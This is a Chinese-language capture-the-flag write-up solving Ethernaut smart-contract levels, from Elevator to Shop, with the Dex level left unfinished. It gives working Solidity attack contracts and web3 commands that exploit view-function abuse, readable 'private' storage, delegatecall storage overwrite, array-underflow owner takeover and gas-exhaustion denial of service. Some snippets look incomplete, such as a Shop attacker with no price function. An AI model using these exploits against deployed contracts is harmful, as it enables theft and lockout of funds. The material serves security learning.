Ethernaut wp(下)

Ethernaut wp(下)

0x0C Elevator

直接甩给我们一个可控的接口,题目目标是登顶

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;


interface Building {
function isLastFloor(uint) external returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

想要登顶,需要top=true,就需要我们在

1
2
top = building.isLastFloor(floor);//isLastFloor()返回true
if (! building.isLastFloor(_floor))//isLastFloor()返回false

也就是说,我们需要对isLastFloor()函数进行操作,题目在声明 isLastFloor 时,赋予了 view 属性,view 表示函数会读取合约变量,但是不会修改任何合约的状态,再看看题目提示

1
Sometimes solidity is not good at keeping promises.

查找了一些资料之后,发现当前 Solidity 编译器没有强制执行 view 函数不能修改状态,所以上述做法就是可行的

1
2
3
4
5
6
7
8
9
10
11
12
13
contract exp {
address to = 0x62515F83C91cDF26b8014e1c3f48Da3F4B5106cD;
//修改成你的合约地址
Elevator exp = Elevator(to);
bool public flag = true;
function isLastFloor(uint) public returns (bool){
flag = !flag;
return flag;
}
function exploit() public{
exp.goTo(123);
}
}

image-20210619144446168

0x0D Privacy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;

constructor(bytes32[3] memory _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

之前 Vault 题目的升级版,还是一样,用 getStorageAt() 把链上的数据读出来

1
2
3
4
5
6
7
8
9
10
11
12
13
web3.eth.getStorageAt(contract.address,0)
//0x0000000000000000000000000000000000000000000000000000000000000001 locked
web3.eth.getStorageAt(contract.address,1)
//0x0000000000000000000000000000000000000000000000000000000060cd98c3 block.timestamp
web3.eth.getStorageAt(contract.address,2)
//0x0000000000000000000000000000000000000000000000000000000098c3ff0a
// flattening denomination awkwardness
web3.eth.getStorageAt(contract.address,3)
//0x41c044f993be0e8c24b049c19b70a3d9d2e54aaf2cbb429787f8cbc5b47075b7 data[0]
web3.eth.getStorageAt(contract.address,4)
//0x1bfba67ed5c9b51ae63b2cae7bd1a2357d982032fd6650fa816380d5a8904089 data[1]
web3.eth.getStorageAt(contract.address,5)
//0xe9b3f125a9345010284752e33195e9eedf04354aa6ecf0c268c5b6fae3df42be data[2]

byte16强制转换,所以我们取data[2]的前十六位

1
contract.unlock('0xe9b3f125a9345010284752e33195e9ee')

image-20210619152931264

0x0E Gatekeeper One

Make it past the gatekeeper and register as an entrant to pass this level.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

using SafeMath for uint256;
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

要求我们分别满足三个gate函数

1
gataOne //通过第三方合约调用 enter 即可gataTwo //msg.gas % 8191 == 0gataThree //数据类型转换规则的考察
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 数字 与 数字
uint8 -> uint16
// 值不变 其他小单位转大单位同理
uint16 -> uint8
// 导致溢出,转换后的结果为原变量 mod 256 其他大单位转小单位同理

// bytes 与 bytes
bytes8 -> bytes16
// 后面补零 其他小单位转大单位同理
// 0xaaaaaaaaaaaaaaaa -> 0xaaaaaaaaaaaaaaaa0000000000000000
bytes16 -> bytes8
// 取前面的位数 其他大单位转小单位同理
// 0xaaaaaaaaaaaaaaaa0000000000000000 -> 0xaaaaaaaaaaaaaaaa

// address 与 bytes、uint
address -> uint
// 根据 uint 的具体单位,将地址从尾端开始截取对应长度
// 如地址0x0DCd2F752394c41875e259e00bb44fd505297caF,转为 uint8 为取最后1字节 0xaf
address -> bytes
// 根据 bytes 的具体单位,从前截取对应长度
// 0x08970FEd061E7747CD9a38d680A601510CB659FB -> 0x80a601510cb659fb (bytes8)
uint/bytes 转 address
// uint 转为 hex,bytes不变,从后填充
// uint8 -> address 0x123 -> 0x0000000000000000000000000000000000000123
// bytes8 -> address 0x80a601510cb659fb -> 0x00000000000000000000000080A601510cB659FB

这个复现失败了,Gas在链上没有调试出来,后来找到一篇文章

1
2
3
4
5
6
7
8
9
10
11
12
contract Attack {

address instance_address =0xc97fBFaC4734868B2f54CD54308e0733a5FBcfD4;
bytes8 _gateKey = bytes8(tx.origin) & 0xFFFFFFFF0000FFFF;

GatekeeperOne target = GatekeeperOne(instance_address);

function hack() public {
target.call.gas(999999)(bytes4(keccak256("enter(bytes8)")), _gateKey);
}
}

1
0x5b4f043f1da6a0acb14405618d4b66b6c38ecd35546084c94fc6d78791ba9a37//txhash

image-20210623122522463

image-20210623122511481

0x0F Gatekeeper Two

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

和One一样需要绕过三个条件限制

第一个限制不必多说

第二个限制,这里使用的是内联汇编来获取调用方(caller)的代码大小,需要我们的合约代码大小为零。就想到在构造函数里面去调用受害合约,此时我们的合约正在初始化,代码大小就为零了

第三个就是利用异或的特性

1
2
3
4
5
6
7
8
contract Hack {
function Hack(address _c) public {
GatekeeperTwo exp = GatekeeperTwo(_c);
bytes8 _gateKey = bytes8((uint64(0) -1) ^ uint64(bytes8(keccak256(this))));
exp.call(bytes4(keccak256("enter(bytes8)")),_gateKey);
}
}
//0xfd97529959ac12f3603323e576cdfd6ef224480c06e16e632219543a68b62bdd

image-20210623195125291

0x10 Naught Coin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

contract NaughtCoin is ERC20 {

// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}

classic blance to 0

看合约代码知道设置了lockTokens修饰词对transfer函数加以验证,同时transfer函数也对ERC720合约中的transfer函数进行了重写。同时意识到ERC720有两个转账函数,一个是 transfer 还有一个是 transferFrom,这里只重写了一个,意味着另一个可以被直接调用。跟踪了一下,发现transferFrom 需要先经过 approve 批准才能使用

1
2
3
4
5
6
7
8
9
10
11
12
13
function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
var _allowance = self.allowed[_from][msg.sender];
self.balances[_to] = self.balances[_to].plus(_value);
self.balances[_from] = self.balances[_from].minus(_value);
self.allowed[_from][msg.sender] = _allowance.minus(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
self.allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}

第一步先看有多少钱,才知道能授权多少

image-20210623201122087

1
2
3
//授权转钱
contract.approve(player,toWei('1000000'))
contract.transferFrom(player,contract.address,toWei('1000000'))

image-20210623200401783

0x11 Preservation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

delegateCall函数

区别在于 delegatecall 仅使用给定地址的代码,其它信息则使用当前合约(如存储,余额等等)。delegateCall 方法仅仅使用目标合约的代码, 其余的 storage 等数据均使用自己的,这就使得某些访存操作会错误的处理对象

看到一个师傅分析的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
contract A{
uint public x1;
uint public x2;

function funca(address param){
param.delegatecall(bytes4(keccak256("funcb()")));
}
}
contract B{
uint public y1;
uint public y2;

function funcb(){
y1=1;
y2=2;
}
}

在上述合约中,一旦在a中调用了b的funcb函数,那么对应的a中 x1就会等于y1,x2就会等于 2。 在这个过程中实际b合约的funcb函数把storage里面的slot 1的值更换为了1,把slot 2的值更换为了 2,那么由于delegatecall的原因这里修改的是a的storage,对应就是修改了 x1,x2。可以实现变量覆盖

那么这个题就很好办了,我们调用Preservation的setFirstTime函数时候实际通过delegatecall 执行了LibraryContract的setTime函数,修改了slot 1,也就是修改了timeZone1Library变量。 这样,我们第一次调用setFirstTime将timeZone1Library变量修改为我们的恶意合约的地址,第二次调用setFirstTime就可以执行我们的任意代码了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
contract attack {
address public timeZone1Library;
address public timeZone2Library;
address public owner;

address instance_address = 0x7cec052e622c0fb68ca3b2e3c899b8bf8b78663c; //
Preservation target = Preservation(instance_address);
function attack1() {
target.setFirstTime(uint(address(this)));
}
function attack2() {
target.setFirstTime(uint(0x88d3052d12527f1fbe3a6e1444ea72c4ddb396c2)); //player
}
function setTime(uint _time) public {
timeZone1Library = address(_time);
timeZone2Library = address(_time);
owner = address(_time);
}
}

image-20210623204943777

0x12 Recovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Recovery {

//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}

contract SimpleToken {

using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;

// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}

// collect ether in return for tokens
fallback() external payable {
balances[msg.sender] = msg.value.mul(10);
}

// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}

// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}

要求我们移除,或转移指定合约上面的钱,其实简单来说就是已知一个 Recovery 合约地址,恢复一下它创建的 SimpleToken 地址,然后将 0.5 eth 从丢失地址的合约中提出即可

在metamask上拿到交易hash,再去浏览器上面查询

image-20210624112151430

从而得到丢失合约的地址,就可编写poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pragma solidity ^0.4.23;

contract SimpleToken {

// public variables
string public name;
mapping (address => uint) public balances;

// collect ether in return for tokens
function() public payable ;

// allow transfers of tokens
function transfer(address _to, uint _amount) public ;

// clean up after ourselves
function destroy(address _to) public ;
}

contract RecoveryPoc {
SimpleToken target;
constructor(address _addr) public{
target = SimpleToken(_addr);
}

function attack() public{
target.destroy(tx.origin);
}

}

image-20210624113103217

0x13 MagicNumber

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract MagicNum {

address public solver;

constructor() public {}

function setSolver(address _solver) public {
solver = _solver;
}

/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}

参考

1
2
3
bytecode = "0x600a600c600039600a6000f3602a60805260206080f3";
web3.eth.sendTransaction({from:player,data:bytecode})
await contract.setSolver('address')

image-20210625202119077

0x14 Alien Codex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function make_contact() public {
contact = true;
}

function record(bytes32 _content) contacted public {
codex.push(_content);
}

function retract() contacted public {
codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}

合约开头引入了Ownable合约,同时也引入了一个 owner 变量

1
2
3
await web3.eth.getStorageAt(instance, 0, function(x, y) {console.info(y)});
// 0x00000000000000000000000073048cec9010e92c298b016966bde1cc47299df5 slot0
// 对应的 contact 为零,Owner=0x73048cec9010e92c298b016966bde1cc47299df5

codex储存的位置是从slot1同时这里也是储存数组长度的地方,而 codex 的实际内容存储在 keccak256(bytes32(1)) 开始的位置,EVM的储存方式是

1
2
3
array[array_slot_index] == SLOAD(keccak256(slot(array)) + slot_index)
codex[0] =eb3.eth.getStorageAt(contract.address,keccak_256(byte32(1)) //byte32用于填充0
//下面暂且记作slotx

也就是说我们对codex[0]进行偏移,就能得到codex[y]=slot0,也就能达到修改slot0的目的

1
y=2^256-x+0
1
contract.revise('0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a','0x000000000000000000000001e510Ac7b174D055679d38450c42AD07bC65E0bc9')

但是再次之前,我们需要绕过修饰关键词contacted的限制,也就是需要使contact = true,那就是调用make_contact() 函数,此时我们想要读取到codex[y],slot1存储的数组长度大于y,很显然 retract()函数能帮助我们进行下溢。record或者也可以一直调用record,在第y次时传入正确的参数

1
2
3
4
5
6
7
8
9
10
11
12
contract.retract()
// codex.length--
await web3.eth.getStorageAt(contract.address, 1)
// codex.length
// 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
await contract.owner()
// "0x73048cec9010e92c298b016966bde1cc47299df5"
contract.revise('0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a',"0x000000000000000000000001+Player address")
// 调用 revise()
await contract.owner()
// Player address
// Submit instance

image-20210626142522049

0x15 Denial

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call.value(amountToSend)("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}

// allow deposit of funds
fallback() external payable {}

// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}

要求我们让其他人无法提款。分析一下合约

从合约的代码中我们很容易发现这里存在一个重入漏洞,所以可以通过部署了一个利用重入漏洞的合约,把gas直接消耗光,那么owner 自然收不到钱了,从而造成DOS。

1
2
3
4
5
6
7
8
9
10
11
12
13
contract Attack{
address instance_address = instance_address_here;
Denial target = Denial(instance_address);

function hack() public {
target.setWithdrawPartner(address(this));
target.withdraw();
}

function () payable public {
target.withdraw();
}
}

或者assert 函数触发异常之后会消耗所有可用的 gas,消耗了所有的 gas 那就没法转账了

1
2
3
4
5
6
7
8
9
10
11
contract Attack{
address instance_address = instance_address_here;
Denial target = Denial(instance_address);
function hack() public {
target.setWithdrawPartner(address(this));
target.withdraw();
}
function () payable public {
assert(0==1);
}
}

image-20210626164122137

0x16 Shop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pragma solidity ^0.6.0;

interface Buyer {
function price() external view returns (uint);
}

contract Shop {
uint public price = 100;
bool public isSold;

function buy() public {
Buyer _buyer = Buyer(msg.sender);

if (_buyer.price.gas(3000)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3000)();
}
}
}

题目要求少于指定价格得到商品,price<100

发现 isSoldpublic 属性,所以可以利用 isSold ,根据 isSold 进行判断,两次调用 _buyer.price.gas(3000)() 第一次返回大于等于 100 ,第二次返回小于 100 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.8.0;

contract AttackShop {

function buy() public {

assembly {

// Call Shop.buy()
mstore(0x20, 0xa6f2ae3a00000000000000000000000000000000000000000000000000000000) /* selector(buy()) */
let success := call(100000, 0x81204a9d43123Df65D6089f4bF7493E43c1868b9, 0, 0x20, 0x04, 0x00, 0x00)
if iszero(success) {
revert(0, 0)
}
return(0, 0x0)
}
}


}

image-20210626174120276

0x17 Dex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';

contract Dex {
using SafeMath for uint;
address public token1;
address public token2;
constructor(address _token1, address _token2) public {
token1 = _token1;
token2 = _token2;
}

function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swap_amount = get_swap_price(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swap_amount);
IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
}

function add_liquidity(address token_address, uint amount) public{
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function get_swap_price(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableToken is ERC20 {
constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
}
function approve(address owner, address spender, uint amount) public returns(bool){
super._approve(owner, spender, amount);
}
}

对不起这道题还得做一段时间,如果做出来了再更新吧